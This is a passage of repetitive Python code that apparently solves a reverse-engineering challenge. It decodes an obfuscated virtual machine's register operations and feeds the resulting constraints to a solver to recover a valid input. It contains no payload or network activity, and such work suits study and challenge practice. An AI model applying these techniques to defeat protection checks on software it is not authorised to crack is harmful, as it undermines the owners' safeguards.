a3[a2[394]] = (16975111 * (a2[394] + 127)) ^ get_int( 395)
a3[a2[400]] = (16975111 * (a2[400] + 127)) ^ a1[(16975111 * (a2[401] + 127)) ^ a3[a2[401]]]
a3[a2[403]] = (16975111 * (a2[403] + 127)) ^ get_int2( 101)
a3[a2[409]] = (16975111 * (a2[409] + 127)) ^ a3[a2[411]] ^ (16975111 * (a2[411] + 127)) ^ (16975111 * (a2[410] + 127)) ^ a3[a2[410]]
a3[a2[413]] = (16975111 * (a2[413] + 127)) ^ ((a3[a2[415]] ^ (16975111 * (a2[415] + 127)))+ ((16975111* (a2[414] + 127)) ^ a3[a2[414]]))
a3[a2[417]] = (16975111 * (a2[417] + 127)) ^ get_int( 418)
a3[a2[423]] = (16975111 * (a2[423] + 127)) ^ ((a3[a2[425]] ^ (16975111 * (a2[425] + 127)))- ((16975111* (a2[424] + 127)) ^ a3[a2[424]]))
so.add(a3[a2[427]] - 16975111 * (a2[427] + 127) == 0)


i = 427+2-3
a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i + 10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i + 22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i + 31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i + 45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i + 54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
- ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i + 77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i + 91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)) ^ (16975111 * (a2[i+106] + 127)) ^ a3[a2[i+106]]
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i + 114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i + 123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
+ ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i + 137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i + 146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i + 169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i + 183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i + 206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)




i = 214 * 8 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int( i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int( i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int( i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int( i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int( i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int( i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int( i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
- ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int( i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int( i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int( i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int( i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
- ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int( i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int( i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int( i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int( i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ ((a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)))
* ((16975111
* (a2[i+152] + 127)) ^ a3[a2[i+152]]))
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int( i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int( i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int( i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int( i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int( i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
# print(a3[a2[i+215]])
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



i = 214 * 9 - 2

a3[a2[i +3]] = (16975111 * (a2[i +3] + 127)) ^ get_int(i + 4)
a3[a2[i +9]] = (16975111 * (a2[i +9] + 127)) ^ get_int(i + 10)
a3[a2[i +15]] = (16975111 * (a2[i +15] + 127)) ^ get_int(i + 16)
a3[a2[i +21]] = (16975111 * (a2[i +21] + 127)) ^ get_int(i + 22)
a3[a2[i +27]] = (16975111 * (a2[i +27] + 127)) ^ a1[(16975111
* (a2[i +28] + 127)) ^ a3[a2[i +28]]]
a3[a2[i +30]] = (16975111 * (a2[i +30] + 127)) ^ get_int(i + 31)
a3[a2[i +36]] = (16975111 * (a2[i +36] + 127)) ^ ((a3[a2[i +38]] ^ (16975111 * (a2[i +38] + 127)))
* ((16975111
* (a2[i +37] + 127)) ^ a3[a2[i +37]]))
a3[a2[i +40]] = (16975111 * (a2[i +40] + 127)) ^ ((a3[a2[i +42]] ^ (16975111 * (a2[i +42] + 127)))
+ ((16975111
* (a2[i +41] + 127)) ^ a3[a2[i +41]]))
a3[a2[i +44]] = (16975111 * (a2[i +44] + 127)) ^ get_int(i + 45)
a3[a2[i +50]] = (16975111 * (a2[i +50] + 127)) ^ a1[(16975111
* (a2[i +51] + 127)) ^ a3[a2[i +51]]]
a3[a2[i +53]] = (16975111 * (a2[i +53] + 127)) ^ get_int(i + 54)
a3[a2[i +59]] = (16975111 * (a2[i +59] + 127)) ^ a3[a2[i +61]] ^ (16975111 * (a2[i +61] + 127)) ^ (16975111 * (a2[i +60] + 127)) ^ a3[a2[i +60]]
a3[a2[i +63]] = (16975111 * (a2[i +63] + 127)) ^ ((a3[a2[i +65]] ^ (16975111 * (a2[i +65] + 127)))
- ((16975111
* (a2[i +64] + 127)) ^ a3[a2[i +64]]))
a3[a2[i +67]] = (16975111 * (a2[i +67] + 127)) ^ get_int(i + 68)
a3[a2[i +73]] = (16975111 * (a2[i +73] + 127)) ^ a1[(16975111
* (a2[i +74] + 127)) ^ a3[a2[i +74]]]
a3[a2[i +76]] = (16975111 * (a2[i +76] + 127)) ^ get_int(i + 77)
a3[a2[i +82]] = (16975111 * (a2[i +82] + 127)) ^ a3[a2[i +84]] ^ (16975111 * (a2[i +84] + 127)) ^ (16975111 * (a2[i +83] + 127)) ^ a3[a2[i +83]]
a3[a2[i +86]] = (16975111 * (a2[i +86] + 127)) ^ ((a3[a2[i +88]] ^ (16975111 * (a2[i +88] + 127)))
+ ((16975111
* (a2[i +87] + 127)) ^ a3[a2[i +87]]))
a3[a2[i +90]] = (16975111 * (a2[i +90] + 127)) ^ get_int(i + 91)
a3[a2[i +96]] = (16975111 * (a2[i +96] + 127)) ^ a1[(16975111
* (a2[i +97] + 127)) ^ a3[a2[i +97]]]
a3[a2[i +99]] = (16975111 * (a2[i +99] + 127)) ^ get_int(i + 100)
a3[a2[i +105]] = (16975111 * (a2[i +105] + 127)) ^ a3[a2[i +107]] ^ (16975111 * (a2[i +107] + 127)) ^ (16975111 * (a2[i +106] + 127)) ^ a3[a2[i +106]]
a3[a2[i +109]] = (16975111 * (a2[i +109] + 127)) ^ ((a3[a2[i +111]] ^ (16975111 * (a2[i +111] + 127)))
+ ((16975111
* (a2[i +110] + 127)) ^ a3[a2[i +110]]))
a3[a2[i +113]] = (16975111 * (a2[i +113] + 127)) ^ get_int(i + 114)
a3[a2[i +119]] = (16975111 * (a2[i +119] + 127)) ^ a1[(16975111 * (a2[i +120] + 127)) ^ a3[a2[i +120]]]
a3[a2[i +122]] = (16975111 * (a2[i +122] + 127)) ^ get_int(i + 123)
a3[a2[i +128]] = (16975111 * (a2[i +128] + 127)) ^ a3[a2[i +130]] ^ (16975111 * (a2[i +130] + 127)) ^ (16975111 * (a2[i +129] + 127)) ^ a3[a2[i +129]]
a3[a2[i +132]] = (16975111 * (a2[i +132] + 127)) ^ ((a3[a2[i +134]] ^ (16975111 * (a2[i +134] + 127)))
+ ((16975111
* (a2[i +133] + 127)) ^ a3[a2[i +133]]))
a3[a2[i +136]] = (16975111 * (a2[i +136] + 127)) ^ get_int(i + 137)
a3[a2[i +142]] = (16975111 * (a2[i +142] + 127)) ^ a1[(16975111 * (a2[i +143] + 127)) ^ a3[a2[i +143]]]
a3[a2[i +145]] = (16975111 * (a2[i +145] + 127)) ^ get_int(i + 146)
a3[a2[i +151]] = (16975111 * (a2[i +151] + 127)) ^ ((a3[a2[i +153]] ^ (16975111 * (a2[i +153] + 127)))
* ((16975111
* (a2[i +152] + 127)) ^ a3[a2[i +152]]))
a3[a2[i +155]] = (16975111 * (a2[i +155] + 127)) ^ ((a3[a2[i +157]] ^ (16975111 * (a2[i +157] + 127)))
- ((16975111
* (a2[i +156] + 127)) ^ a3[a2[i +156]]))
a3[a2[i +159]] = (16975111 * (a2[i +159] + 127)) ^ get_int(i + 160)
a3[a2[i +165]] = (16975111 * (a2[i +165] + 127)) ^ a1[(16975111 * (a2[i +166] + 127)) ^ a3[a2[i +166]]]
a3[a2[i +168]] = (16975111 * (a2[i +168] + 127)) ^ get_int(i + 169)
a3[a2[i +174]] = (16975111 * (a2[i +174] + 127)) ^ a3[a2[i +176]] ^ (16975111 * (a2[i +176] + 127)) ^ (16975111 * (a2[i +175] + 127)) ^ a3[a2[i +175]]
a3[a2[i +178]] = (16975111 * (a2[i +178] + 127)) ^ ((a3[a2[i +180]] ^ (16975111 * (a2[i +180] + 127)))
+ ((16975111
* (a2[i +179] + 127)) ^ a3[a2[i +179]]))
a3[a2[i +182]] = (16975111 * (a2[i +182] + 127)) ^ get_int(i + 183)
a3[a2[i +188]] = (16975111 * (a2[i +188] + 127)) ^ a1[(16975111 * (a2[i +189] + 127)) ^ a3[a2[i +189]]]
a3[a2[i +191]] = (16975111 * (a2[i +191] + 127)) ^ get_int(i + 192)
a3[a2[i +197]] = (16975111 * (a2[i +197] + 127)) ^ ((a3[a2[i +199]] ^ (16975111 * (a2[i +199] + 127)))
* ((16975111
* (a2[i +198] + 127)) ^ a3[a2[i +198]]))
a3[a2[i +201]] = (16975111 * (a2[i +201] + 127)) ^ ((a3[a2[i +203]] ^ (16975111 * (a2[i +203] + 127)))
- ((16975111
* (a2[i +202] + 127)) ^ a3[a2[i +202]]))
a3[a2[i +205]] = (16975111 * (a2[i +205] + 127)) ^ get_int(i + 206)
a3[a2[i +211]] = (16975111 * (a2[i +211] + 127)) ^ ((a3[a2[i +213]] ^ (16975111 * (a2[i +213] + 127)))
- ((16975111
* (a2[i +212] + 127)) ^ a3[a2[i +212]]))
so.add(a3[a2[i +215]] - 16975111 * (a2[i +215] + 127) == 0)


i = 214 * 17 - 2

a3[a2[ i +3]] = (16975111 * (a2[ i +3] + 127)) ^ get_int(i+4)
a3[a2[ i +9]] = (16975111 * (a2[ i +9] + 127)) ^ get_int(i+10)
a3[a2[ i +15]] = (16975111 * (a2[ i +15] + 127)) ^ get_int(i+16)
a3[a2[ i +21]] = (16975111 * (a2[ i +21] + 127)) ^ get_int(i+22)
a3[a2[ i +27]] = (16975111 * (a2[ i +27] + 127)) ^ a1[(16975111
* (a2[ i +28] + 127)) ^ a3[a2[ i +28]]]
a3[a2[ i +30]] = (16975111 * (a2[ i +30] + 127)) ^ get_int(i+31)
a3[a2[ i +36]] = (16975111 * (a2[ i +36] + 127)) ^ a3[a2[ i +38]] ^ (16975111 * (a2[ i +38] + 127)) ^ (16975111 * (a2[ i +37] + 127)) ^ a3[a2[ i +37]]
a3[a2[ i +40]] = (16975111 * (a2[ i +40] + 127)) ^ ((a3[a2[ i +42]] ^ (16975111 * (a2[ i +42] + 127)))
- ((16975111
* (a2[ i +41] + 127)) ^ a3[a2[ i +41]]))
a3[a2[ i +44]] = (16975111 * (a2[ i +44] + 127)) ^ get_int(i+45)
a3[a2[ i +50]] = (16975111 * (a2[ i +50] + 127)) ^ a1[(16975111
* (a2[ i +51] + 127)) ^ a3[a2[ i +51]]]
a3[a2[ i +53]] = (16975111 * (a2[ i +53] + 127)) ^ get_int(i+54)
a3[a2[ i +59]] = (16975111 * (a2[ i +59] + 127)) ^ a3[a2[ i +61]] ^ (16975111 * (a2[ i +61] + 127)) ^ (16975111 * (a2[ i +60] + 127)) ^ a3[a2[ i +60]]
a3[a2[ i +63]] = (16975111 * (a2[ i +63] + 127)) ^ ((a3[a2[ i +65]] ^ (16975111 * (a2[ i +65] + 127)))
- ((16975111
* (a2[ i +64] + 127)) ^ a3[a2[ i +64]]))
a3[a2[ i +67]] = (16975111 * (a2[ i +67] + 127)) ^ get_int(i+68)
a3[a2[ i +73]] = (16975111 * (a2[ i +73] + 127)) ^ a1[(16975111
* (a2[ i +74] + 127)) ^ a3[a2[ i +74]]]
a3[a2[ i +76]] = (16975111 * (a2[ i +76] + 127)) ^ get_int(i+77)
a3[a2[ i +82]] = (16975111 * (a2[ i +82] + 127)) ^ a3[a2[ i +84]] ^ (16975111 * (a2[ i +84] + 127)) ^ (16975111 * (a2[ i +83] + 127)) ^ a3[a2[ i +83]]
a3[a2[ i +86]] = (16975111 * (a2[ i +86] + 127)) ^ ((a3[a2[ i +88]] ^ (16975111 * (a2[ i +88] + 127)))
- ((16975111
* (a2[ i +87] + 127)) ^ a3[a2[ i +87]]))
a3[a2[ i +90]] = (16975111 * (a2[ i +90] + 127)) ^ get_int(i+91)
a3[a2[ i +96]] = (16975111 * (a2[ i +96] + 127)) ^ a1[(16975111
* (a2[ i +97] + 127)) ^ a3[a2[ i +97]]]
a3[a2[ i +99]] = (16975111 * (a2[ i +99] + 127)) ^ get_int(i+100)
a3[a2[ i +105]] = (16975111 * (a2[ i +105] + 127)) ^ ((a3[a2[ i +107]] ^ (16975111 * (a2[ i +107] + 127)))
* ((16975111
* (a2[ i +106] + 127)) ^ a3[a2[ i +106]]))
a3[a2[ i +109]] = (16975111 * (a2[ i +109] + 127)) ^ ((a3[a2[ i +111]] ^ (16975111 * (a2[ i +111] + 127)))
+ ((16975111
* (a2[ i +110] + 127)) ^ a3[a2[ i +110]]))
a3[a2[ i +113]] = (16975111 * (a2[ i +113] + 127)) ^ get_int(i+114)
a3[a2[ i +119]] = (16975111 * (a2[ i +119] + 127)) ^ a1[(16975111 * (a2[ i +120] + 127)) ^ a3[a2[ i +120]]]
a3[a2[ i +122]] = (16975111 * (a2[ i +122] + 127)) ^ get_int(i+123)
a3[a2[ i +128]] = (16975111 * (a2[ i +128] + 127)) ^ a3[a2[ i +130]] ^ (16975111 * (a2[ i +130] + 127)) ^ (16975111 * (a2[ i +129] + 127)) ^ a3[a2[ i +129]]
a3[a2[ i +132]] = (16975111 * (a2[ i +132] + 127)) ^ ((a3[a2[ i +134]] ^ (16975111 * (a2[ i +134] + 127)))
- ((16975111
* (a2[ i +133] + 127)) ^ a3[a2[ i +133]]))
a3[a2[ i +136]] = (16975111 * (a2[ i +136] + 127)) ^ get_int(i+137)
a3[a2[ i +142]] = (16975111 * (a2[ i +142] + 127)) ^ a1[(16975111 * (a2[ i +143] + 127)) ^ a3[a2[ i +143]]]
a3[a2[ i +145]] = (16975111 * (a2[ i +145] + 127)) ^ get_int(i+146)
a3[a2[ i +151]] = (16975111 * (a2[ i +151] + 127)) ^ a3[a2[ i +153]] ^ (16975111 * (a2[ i +153] + 127)) ^ (16975111 * (a2[ i +152] + 127)) ^ a3[a2[ i +152]]
a3[a2[ i +155]] = (16975111 * (a2[ i +155] + 127)) ^ ((a3[a2[ i +157]] ^ (16975111 * (a2[ i +157] + 127)))
+ ((16975111
* (a2[ i +156] + 127)) ^ a3[a2[ i +156]]))
a3[a2[ i +159]] = (16975111 * (a2[ i +159] + 127)) ^ get_int(i+160)
a3[a2[ i +165]] = (16975111 * (a2[ i +165] + 127)) ^ a1[(16975111 * (a2[ i +166] + 127)) ^ a3[a2[ i +166]]]
a3[a2[ i +168]] = (16975111 * (a2[ i +168] + 127)) ^ get_int(i+169)
a3[a2[ i +174]] = (16975111 * (a2[ i +174] + 127)) ^ ((a3[a2[ i +176]] ^ (16975111 * (a2[ i +176] + 127)))
* ((16975111
* (a2[ i +175] + 127)) ^ a3[a2[ i +175]]))
a3[a2[ i +178]] = (16975111 * (a2[ i +178] + 127)) ^ ((a3[a2[ i +180]] ^ (16975111 * (a2[ i +180] + 127)))
- ((16975111
* (a2[ i +179] + 127)) ^ a3[a2[ i +179]]))
a3[a2[ i +182]] = (16975111 * (a2[ i +182] + 127)) ^ get_int(i+183)
a3[a2[ i +188]] = (16975111 * (a2[ i +188] + 127)) ^ a1[(16975111 * (a2[ i +189] + 127)) ^ a3[a2[ i +189]]]
a3[a2[ i +191]] = (16975111 * (a2[ i +191] + 127)) ^ get_int(i+192)
a3[a2[ i +197]] = (16975111 * (a2[ i +197] + 127)) ^ ((a3[a2[ i +199]] ^ (16975111 * (a2[ i +199] + 127)))
* ((16975111
* (a2[ i +198] + 127)) ^ a3[a2[ i +198]]))
a3[a2[ i +201]] = (16975111 * (a2[ i +201] + 127)) ^ ((a3[a2[ i +203]] ^ (16975111 * (a2[ i +203] + 127)))
- ((16975111
* (a2[ i +202] + 127)) ^ a3[a2[ i +202]]))
a3[a2[ i +205]] = (16975111 * (a2[ i +205] + 127)) ^ get_int(i+206)
a3[a2[ i +211]] = (16975111 * (a2[ i +211] + 127)) ^ ((a3[a2[ i +213]] ^ (16975111 * (a2[ i +213] + 127)))
- ((16975111
* (a2[ i +212] + 127)) ^ a3[a2[ i +212]]))
so.add(a3[a2[ i +215]] - 16975111 * (a2[ i +215] + 127) == 0)


i = 214 * 18 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
